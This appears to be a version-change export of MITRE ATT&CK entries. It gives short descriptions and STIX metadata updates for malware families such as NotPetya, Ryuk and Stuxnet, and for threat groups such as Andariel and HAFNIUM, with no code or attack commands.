| description | [Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019) | [Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBbot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019) |
Current version: 1.4
Description: [Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual) In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)
Current version: 1.0
Description: [Android/AdDisplay.Ashas](https://attack.mitre.org/software/S0525) is a variant of adware that has been distributed through multiple apps in the Google Play Store. (Citation: WeLiveSecurity AdDisplayAshas)
Current version: 1.0
Description: [AndroidOS/MalLocker.B](https://attack.mitre.org/software/S0524) is a variant of a ransomware family targeting Android devices. It prevents the user from interacting with the UI by displaying a screen containing a ransom note over all other windows. (Citation: Microsoft MalLockerB)
Current version: 1.0
Description: [Asacub](https://attack.mitre.org/software/S0540) is a banking trojan that attempts to steal money from victims’ bank accounts. It attempts to do this by initiating a wire transfer via SMS message from compromised devices.(Citation: Securelist Asacub)
Current version: 1.0
Description: [BusyGasper](https://attack.mitre.org/software/S0655) is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.(Citation: SecureList BusyGasper)
Current version: 1.0
Description: [CHEMISTGAMES](https://attack.mitre.org/software/S0555) is a modular backdoor that has been deployed by [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: CYBERWARCON CHEMISTGAMES)
Current version: 1.1
Description: [CarbonSteal](https://attack.mitre.org/software/S0529) is one of a family of four surveillanceware tools that share a common C2 infrastructure. [CarbonSteal](https://attack.mitre.org/software/S0529) primarily deals with audio surveillance. (Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [Circles](https://attack.mitre.org/software/S0602) reportedly takes advantage of Signaling System 7 (SS7) weaknesses, the protocol suite used to route phone calls, to both track the location of mobile devices and intercept voice calls and SMS messages. It can be connected to a telecommunications company’s infrastructure or purchased as a cloud service. Circles has reportedly been linked to the NSO Group.(Citation: CitizenLab Circles)
Current version: 1.0
Description: [DoubleAgent](https://attack.mitre.org/software/S0550) is a family of RAT malware dating back to 2013, known to target groups with contentious relationships with the Chinese government.(Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [Exobot](https://attack.mitre.org/software/S0522) is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.(Citation: Threat Fabric Exobot)
Current version: 1.0
Description: [FrozenCell](https://attack.mitre.org/software/S0577) is the mobile component of a family of surveillanceware, with a corresponding desktop component known as KasperAgent and [Micropsia](https://attack.mitre.org/software/S0339).(Citation: Lookout FrozenCell)
Current version: 1.0
Description: [GPlayed](https://attack.mitre.org/software/S0536) is an Android trojan with a broad range of capabilities.(Citation: Talos GPlayed)
Current version: 1.0
Description: [Golden Cup](https://attack.mitre.org/software/S0535) is Android spyware that has been used to target World Cup fans.(Citation: Symantec GoldenCup)
Current version: 1.0
Description: [GoldenEagle](https://attack.mitre.org/software/S0551) is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.(Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [HenBox](https://attack.mitre.org/software/S0544) is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. [HenBox](https://attack.mitre.org/software/S0544) has primarily been used to target Uyghurs, a minority Turkic ethnic group.(Citation: Palo Alto HenBox)
Current version: 1.0
Description: [Red Alert 2.0](https://attack.mitre.org/software/S0539) is a banking trojan that masquerades as a VPN client.(Citation: Sophos Red Alert 2.0)
Current version: 1.0
Description: [SilkBean](https://attack.mitre.org/software/S0549) is a piece of Android surveillanceware containing comprehensive remote access tool (RAT) functionality that has been used in targeting of the Uyghur ethnic group.(Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [TERRACOTTA](https://attack.mitre.org/software/S0545) is an ad fraud botnet that has been capable of generating over 2 billion fraudulent requests per week.(Citation: WhiteOps TERRACOTTA)
Current version: 1.0
Description: [Tiktok Pro](https://attack.mitre.org/software/S0558) is spyware that has been masquerading as the TikTok application.(Citation: Zscaler TikTok Spyware)
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-11 16:23:16.039000+00:00 | 2021-04-19 17:11:50.159000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-21 15:30:39.236000+00:00 | 2021-09-24 14:52:40.927000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.1 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-11 15:42:15.261000+00:00 | 2021-09-20 13:50:01.923000+00:00 |
| x_mitre_version | 1.1 | 1.3 |
Current version: 1.0
Description: [Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware)
Current version: 1.3
Description: [BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)
Current version: 1.0
Description: [Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)
Current version: 1.0
Description: [EKANS](https://attack.mitre.org/software/S0605) is ransomware variant that first appeared in mid-December 2019. [EKANS](https://attack.mitre.org/software/S0605) is distinct from other ransomware as it was written in Golang and aims to stop services and processes related to Industrial Control Systems.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)
Current version: 1.0
Description: [Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)
Current version: 1.0
Description: [KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)
Current version: 1.2
Description: [REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)
Current version: 1.0
Description: [Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Symantec W.32 Stuxnet Dossier)
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa | t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa |
| > | re that was first seen in a worldwide attack starting on Jun | > | re that was used by [Sandworm Team](https://attack.mitre.org | ||
| > | e 27, 2017. The main purpose of the malware appeared to be t | > | /groups/G0034) in a worldwide attack starting on June 27, 20 | ||
| > | o effectively destroy data and disk structures on compromise | > | 17. While [NotPetya](https://attack.mitre.org/software/S0368 | ||
| > | d systems. Though [NotPetya](https://attack.mitre.org/softwa | > | ) appears as a form of ransomware, its main purpose was to d | ||
| > | re/S0368) presents itself as a form of ransomware, it appear | > | estroy data and disk structures on compromised systems; the | ||
| > | s likely that the attackers never intended to make the encry | > | attackers never intended to make the encrypted data recovera | ||
| > | pted data recoverable. As such, [NotPetya](https://attack.mi | > | ble. As such, [NotPetya](https://attack.mitre.org/software/S | ||
| > | tre.org/software/S0368) may be more appropriately thought of | > | 0368) may be more appropriately thought of as a form of wipe | ||
| > | as a form of wiper malware. [NotPetya](https://attack.mitre | > | r malware. [NotPetya](https://attack.mitre.org/software/S036 | ||
| > | .org/software/S0368) contains worm-like features to spread i | > | 8) contains worm-like features to spread itself across a com | ||
| > | tself across a computer network using the SMBv1 exploits Ete | > | puter network using the SMBv1 exploits EternalBlue and Etern | ||
| > | rnalBlue and EternalRomance.(Citation: Talos Nyetya June 201 | > | alRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CE | ||
| > | 7)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPe | > | RT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citatio | ||
| > | tya 2017)(Citation: ESET Telebots June 2017) | > | n: US District Court Indictment GRU Unit 74455 October 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-18 20:27:49.511000+00:00 | 2021-04-23 19:31:47.185000+00:00 |
| description | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017) | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ryuk](https://collaborate.mitre.org/attackics/index.php/Sof | t | 1 | [Ryuk](https://attack.mitre.org/software/S0446) is a ransomw |
| > | tware/S0011) is ransomware that was first seen targeting lar | > | are designed to target enterprise environments that has been | ||
| > | ge organizations for high-value ransoms in August of 2018. R | > | used in attacks since at least 2018. [Ryuk](https://attack. | ||
| > | yuk temporarily disrupted operations at a manufacturing firm | > | mitre.org/software/S0446) shares code similarities with Herm | ||
| > | in 2018.(Citation: Crowdstrike Ryuk) | > | es ransomware.(Citation: CrowdStrike Ryuk January 2019)(Cita | ||
| > | tion: FireEye Ryuk and Trickbot January 2019)(Citation: Fire | ||||
| > | Eye FIN6 Apr 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['The DFIR Report, @TheDFIRReport', 'Matt Brenton, Zurich Insurance Group'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| STIX Field | Old value | New Value |
|---|---|---|
| created | 2019-03-26 15:02:14.907000+00:00 | 2020-05-13 20:14:53.171000+00:00 |
| modified | 2020-01-03 22:01:15.893000+00:00 | 2021-08-18 19:31:22.741000+00:00 |
| description | [Ryuk](https://collaborate.mitre.org/attackics/index.php/Software/S0011) is ransomware that was first seen targeting large organizations for high-value ransoms in August of 2018. Ryuk temporarily disrupted operations at a manufacturing firm in 2018.(Citation: Crowdstrike Ryuk) | [Ryuk](https://attack.mitre.org/software/S0446) is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. [Ryuk](https://attack.mitre.org/software/S0446) shares code similarities with Hermes ransomware.(Citation: CrowdStrike Ryuk January 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: FireEye FIN6 Apr 2019) |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0011 | https://attack.mitre.org/software/S0446 |
| external_references[0]['external_id'] | S1007 | S0446 |
| external_references[1]['source_name'] | Crowdstrike Ryuk | Ryuk |
| external_references[1]['description'] | Alexander Hanel. (n.d.). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved November 3, 2019. | (Citation: CrowdStrike Ryuk January 2019) (Citation: Bleeping Computer - Ryuk WoL) |
| external_references[2]['source_name'] | DarkReading Ryuk | CrowdStrike Ryuk January 2019 |
| external_references[2]['description'] | Kelly Jackson Higgins. (n.d.). How a Manufacturing Firm Recovered from a Devastating Ransomware Attack. Retrieved November 3, 2019. | Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. |
| external_references[2]['url'] | https://www.darkreading.com/attacks-breaches/how-a-manufacturing-firm-recovered-from-a-devastating-ransomware-attack/d/d-id/1334760 | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye Ryuk and Trickbot January 2019', 'description': 'Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html'} | |
| external_references | {'source_name': 'FireEye FIN6 Apr 2019', 'description': 'McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html'} | |
| external_references | {'source_name': 'Bleeping Computer - Ryuk WoL', 'description': 'Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/'} |
Current version: 1.0
Description: [Bad Rabbit](https://collaborate.mitre.org/attackics/index.php/Software/S0005) is a self-propagating (“wormable”) ransomware that affected the transportation sector in Ukraine. (Citation: ESET Bad Rabbit Oct 2017)
Current version: 1.0
Description: [BlackEnergy 3](https://collaborate.mitre.org/attackics/index.php/Software/S0004) is a malware toolkit that has been used by both criminal and APT actors. It support various plug-ins including a variant of KillDisk. It is known to have been used against the Ukrainian power grid. (Citation: Booz Allen Hamilton)
Current version: 1.0
Description: [Conficker](https://collaborate.mitre.org/attackics/index.php/Software/S0012) is a computer worm that targets Microsoft Windows and was first detected in November 2008. It targets a vulnerability (MS08-067) in Windows OS software and dictionary attacks on administrator passwords to propagate while forming a botnet. Conficker made its way onto computers and removable disk drives in a nuclear power plant. (Citation: Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary)
Current version: 1.0
Description: [Industroyer](https://collaborate.mitre.org/attackics/index.php/Software/S0001) is a sophisticated piece of malware designed to cause an [Impact](https://collaborate.mitre.org/attackics/index.php/Impact) to the working processes of Industrial Control Systems (ICS), specifically ICSs used in electrical substations.(Citation: ESET Win32/Industroyer) Industroyer was alleged to be used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride)(Citation: CISA Alert (TA17-163A))(Citation: Dragos Crashoverride 2018)(Citation: Dragos Crashoverride 2019)
Current version: 1.0
Description: In 2015 the BlackEnergy malware contained a component called KillDisk. KillDisk's main functionality is to overwrite files with random data, rendering the OS unbootable. (Citation: ESET BlackEnergy Jan 2016)
Current version: 1.0
Description: [Stuxnet](https://collaborate.mitre.org/attackics/index.php/Software/S0010) was the first publicly reported piece of malware to specifically target industrial control systems devices. Stuxnet is a large and complex piece of malware that utilized multiple different complex tactics including multiple zero-day vulnerabilites, a sophisticated Windows rootkit, and network infection routines.(Citation: Wired W32.Stuxnet Dossier Feb 2011)(Citation: Symantec W32.Stuxnet Writeup)(Citation: CISA ICS Advisory (ICSA-10-238-01B))(Citation: SCADAhacker Stuxnet Mitigation Jan 2014)
Current version: 1.0
Description: [Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)
Current version: 1.0
Description: [Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021) [Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.
Current version: 1.0
Description: [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)
Current version: 1.0
Description: [CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)
Current version: 1.0
Description: [Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)
Current version: 1.0
Description: [Ferocious Kitten](https://attack.mitre.org/groups/G0137) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)
Current version: 1.0
Description: [Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)
Current version: 1.0
Description: [HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)
Current version: 1.0
Description: [Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)
Current version: 1.0
Description: [IndigoZebra](https://attack.mitre.org/groups/G0136) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)
Current version: 2.0
Description: [Indrik Spider](https://attack.mitre.org/groups/G0119) is a Russia-based cybercriminal group that as been active since at least 2014. [Indrik Spider](https://attack.mitre.org/groups/G0119) initially started with the [Dridex](https://attack.mitre.org/software/S0384) banking Trojan, and then by 2017 they began running ransomware operations using [BitPaymer](https://attack.mitre.org/software/S0570), [WastedLocker](https://attack.mitre.org/software/S0612), and Hades ransomware.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)
Current version: 1.1
Description: [Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Germany, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)
Current version: 1.0
Description: [Nomadic Octopus](https://attack.mitre.org/groups/G0133) is a Russian-speaking cyberespionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)
Current version: 1.0
Description: [Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)
Current version: 1.0
Description: [Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)
Current version: 1.0
Description: [Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)
Current version: 1.1
Description: [TA551](https://attack.mitre.org/groups/G0127) is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)
Current version: 1.0
Description: [TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments. (Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)
Current version: 1.0
Description: [Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)
Current version: 1.0
Description: [Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)
Current version: 1.0
Description: [Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)
Current version: 1.0
Description: The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)
Current version: 1.0
Description: [ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)
Current version: 2.0
Version changed from: 1.5 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT37](https://attack.mitre.org/groups/G0067) is a suspecte | t | 1 | [APT37](https://attack.mitre.org/groups/G0067) is a North Ko |
| > | d North Korean cyber espionage group that has been active si | > | rean state-sponsored cyber espionage group that has been act | ||
| > | nce at least 2012. The group has targeted victims primarily | > | ive since at least 2012. The group has targeted victims prim | ||
| > | in South Korea, but also in Japan, Vietnam, Russia, Nepal, C | > | arily in South Korea, but also in Japan, Vietnam, Russia, Ne | ||
| > | hina, India, Romania, Kuwait, and other parts of the Middle | > | pal, China, India, Romania, Kuwait, and other parts of the M | ||
